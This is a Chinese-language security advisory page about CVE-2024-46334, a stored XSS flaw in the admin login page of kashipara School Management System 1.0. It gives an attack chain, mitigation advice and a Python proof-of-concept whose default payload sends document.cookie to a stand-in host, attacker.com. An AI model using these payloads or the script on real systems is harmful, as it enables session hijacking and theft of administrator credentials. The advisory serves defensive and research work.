IPBUF安全漏洞报告
English
CVE-2024-46334 CVSS 6.1 中危

CVE-2024-46334: kashipara学校管理系统登录页面存在XSS跨站脚本漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-46334
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
kashipara School Management System 1.0

相关标签

XSS跨站脚本攻击CVE-2024-46334kashiparaSchool Management System存储型XSSadminLogin.php学校管理系统会话劫持Web安全漏洞

漏洞概述

CVE-2024-46334是kashipara学校管理系统1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于管理后台登录页面(adminLogin.php),攻击者可以通过在formuser和formpassword参数中注入恶意JavaScript代码。当系统管理员或其他用户访问受影响的页面时,嵌入的恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、凭据泄露等严重安全问题。由于该漏洞位于登录页面,攻击者可以伪造登录界面或拦截用户会话,进而获取管理员权限,对整个学校管理系统造成严重威胁。此漏洞无需认证即可利用,但需要诱导用户访问恶意链接或提交恶意表单数据。

技术细节

该XSS漏洞的根本原因在于adminLogin.php脚本对用户输入的formuser和formpassword参数缺乏充分的输入验证和输出编码。攻击者可以在这些参数中注入包含<script>标签、事件处理器(如onerror、onload)或JavaScript伪协议的特殊字符和代码。当服务器将这些未经过滤的用户输入存储并回显到后续页面时,浏览器会将其解析为可执行代码。攻击场景如下:攻击者构造包含恶意JavaScript代码的POST请求,发送到/adminLogin.php端点,参数中包含类似<script>alert(document.cookie)</script>或<img src=x onerror=...>的payload。服务器将请求数据记录到日志或数据库,当管理员查看登录记录或相关页面时,恶意脚本在管理员浏览器中执行,从而实现会话劫持或数据窃取。攻击者还可以利用此漏洞进行钓鱼攻击,窃取管理员凭据或重定向用户到恶意站点。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的kashipara School Management System 1.0,并定位到/adminLogin.php登录页面
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者向/adminLogin.php发送POST请求,在formuser和formpassword参数中注入XSS payload
STEP 4
步骤4
服务器未对用户输入进行充分过滤和编码,将恶意脚本存储到数据库或日志中
STEP 5
步骤5
当管理员登录系统或查看登录记录时,浏览器解析并执行存储的恶意脚本
STEP 6
步骤6
恶意脚本窃取管理员的会话Cookie、凭据或其他敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的会话信息劫持管理员账号,获取系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-46334 PoC - XSS in kashipara School Management System adminLogin.php # Target: formuser and formpassword parameters def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in adminLogin.php Args: target_url: Base URL of the vulnerable application payload: Malicious JavaScript payload to inject Returns: Response from the server """ login_url = f"{target_url}/adminLogin.php" # Construct malicious POST data data = { 'formuser': payload, 'formpassword': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.post(login_url, data=data, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-46334.py <target_url> [payload]") print("Example: python cve-2024-46334.py http://target.com '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] # Default XSS payload - steals session cookies xss_payload = sys.argv[2] if len(sys.argv) > 2 else "<script>fetch('http://attacker.com/log?c='+document.cookie)</script>" print(f"[*] Targeting: {target}") print(f"[*] Payload: {xss_payload}") result = exploit_xss(target, xss_payload) if result: print(f"[+] Request sent, Status Code: {result.status_code}") print("[+] Check admin logs or trigger the XSS by visiting the affected page")

影响范围

kashipara School Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1) 在Web应用层部署WAF规则过滤<script>标签和事件处理器相关关键字;2) 对登录页面添加输入长度限制和字符类型验证;3) 启用HttpOnly和Secure标志保护Cookie;4) 限制登录失败次数并记录详细审计日志;5) 使用HTML5的placeholder属性替代用户输入回显;6) 考虑临时禁用受影响的管理后台登录页面直到修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表